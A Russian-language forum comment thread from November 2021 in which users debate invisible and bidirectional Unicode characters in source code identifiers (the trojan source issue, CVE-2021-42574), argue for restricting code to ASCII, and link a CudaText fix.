  • 4.80, пох. (?), 19:05, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    гуглтранслейтом, видать, пробовал-то?
    Ну да, у него не очень переводы. Корявые и непонятные.

    А "bld#../site ...." - вполне себе бывают в ихних адресах, правда, обычно это когда не жилой дом ищешь, а какой-нибудь склад или вовсе сарай при складе, у которого и улицы-то нет.

     

  • 1.50, Аноньимъ (ok), 15:23, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Жаваскрипт как всегда жаваскрипт.
     
     
  • 2.54, Аноним (53), 15:29, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Это общая проблема. В самом начале новости об этом сказано.
     
     
  • 3.59, Аноним (8), 15:46, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Формулы в экселе тоже подвержены таким же уязвимостям например.
     
  • 3.71, Аноньимъ (ok), 17:23, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Это общая проблема. В самом начале новости об этом сказано.

    Общая для кого?

    Кто в здравом уме будет непечатные символы для имён переменных разрешать?

     
     
  • 4.86, Led (ok), 19:51, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    >Кто в здравом уме будет непечатные символы для имён переменных разрешать?

    Это же очевидно - те, кто не в здравом уме: мaкaки и прочие гвидoбейсикoкoкoкoдеры.

     
  • 3.82, пох. (?), 19:07, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Это общая проблема. В самом начале новости об этом сказано.

    * Developer environment: Unicode's bidirectional (BiDi) override characters
    can cause trojan source attacks (CVE-2021-42574)

    gcc.

    Проблема общая - население растет постоянно, а сумма разума на планетке, похоже, константа.

     
     
  • 4.101, Аноньимъ (ok), 23:58, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Похоже вручную прописать допустимые символы или проверить что там за херню разрешаешь невообразимо нетривиальное действие для современных разработчиков.
     
     
  • 5.103, Аноним (-), 01:38, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > прописать допустимые символы или проверить что там за херню разрешаешь невообразимо нетривиальное действие для современных разработчиков.

    Не только разработчиков. Сегодня вообще такую ахинею творят что не на одну голову не налазит, вон на хруст посмотри

     
     
  • 6.112, пох. (?), 09:19, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Не только разработчиков. Сегодня вообще такую ахинею творят что не на одну
    > голову не налазит, вон на хруст посмотри

    не только в it. Достаточно на бредни с ковидом посмотреть. Когда угроза вполне реальная, но действия - в стаю макак кинули ящик гранат, причем полностью забыв все что знали до того.

     
  • 5.111, пох. (?), 09:17, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Второе - абсолютно неверный подход за который п-дили палками еще каких-то двадцать лет назад.

    Именно потому что *не напроверяешься* и не угадаешь, каких фокусов тебе подкинут люди, желающие впихнуть в unicode даже небо и даже Аллаха.

    А вот зафиксировать в стандарте конечное множество допустимых символов и жестко проверять соответствие - абсолютно надежный и работающий метод. И если из-за этого макакер не может войти в ойти - так и прекрасно, меньше будет гуанокода. Ну вот по этой причине в том числе - код на фортране до сих пор работает. А макаки каждый день изобретают новый нескучный язычок с новыми интересными проблемами на пустом месте.

    Ну нае-бизнесу ведь же ж надо прямщас и подешево - так что оба получают что заслужили. Но вот где тот домик у леса на самом краю, где можно было бы все это пересидеть?

     
     
  • 6.121, Аноним (75), 18:00, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    на троичной оптике и квантовых кубитах яваскрипт с эмодзи будут еще инклюзивнее работать, с запасом для юниверскода
     
     
  • 7.122, пох. (?), 18:27, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > на троичной оптике и квантовых кубитах яваскрипт с эмодзи будут еще инклюзивнее
    > работать, с запасом для юниверскода

    и у кого меньше ста кубитов - тот лох и недостоин современного веба.

     

  • 1.56, microcoder (ok), 15:41, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    .
     
  • 1.70, Аноним (70), 17:19, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    запретить невидимые символы в именах символах. И пофиг, ели у кого что-то сломается. Если сломалось - значит код нелегитимный.
     
     
  • 2.84, Аноним (84), 19:38, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Знаешь сколько их и их комбинаций? Чего себя утруждать, A-Z, a-z, _ и 0-9 если не первый символ. Постойте-ка...
     

  • 1.97, Аноним (97), 23:11, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Никогда такого не было и вот опять!
    Ярчайший пример: придумали всратый IRI вместо URI, а потом ВНЕЗАПНО оказалось: можно отстрелить себе не то что ногу, а хвост по самую нижнюю челюсть.
    До этого был  RFC 3986. Простой и надежный. Но не-е-е-ет! "Права non-latin языков ущемляются".

    Ящитаю авторов подобного сжечь как врагов Человечества, а их поделия предать анафеме.

     
     
  • 2.104, Аноним (-), 01:41, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Фильтра/списка вменяемых/допустимых юникод символов до сиих пор не существует. Зато есть эможи пилять
     
     
  • 3.110, mos87 (ok), 07:05, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    собсно скоро человейчество только на них и перейдёт
     
  • 3.124, Аноним (97), 18:47, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    latin-1. Для кода вполне достаточно.
     
     
  • 4.126, Онаним (?), 19:16, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не надо latin1, там вторая половина тоже не подарок.
    ASCII #20-#7E вполне достаточно.
     
  • 2.123, Аноним (75), 18:37, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    были 6 бит/байт, была сетунь, были uri - всё на плаху доступности коммунизма мировому сообществу.
     

  • 1.109, mos87 (ok), 07:03, 11/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    MOAR ненужных усложнений

    а чо вы хотеле?

     
  • 1.117, Онаним (?), 15:13, 11/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Как будто это жабоскрипту сильно повредило.
     
  • 1.127, Alexey_Tor_ (?), 21:26, 11/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Сделал фикс для CudaText: https://github.com/Alexey-T/ATSynEdit/commit/94e80033b5a3cfa54928f9093a4a63fdd

    Предыдущая юникод-атака также была закрыта.

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру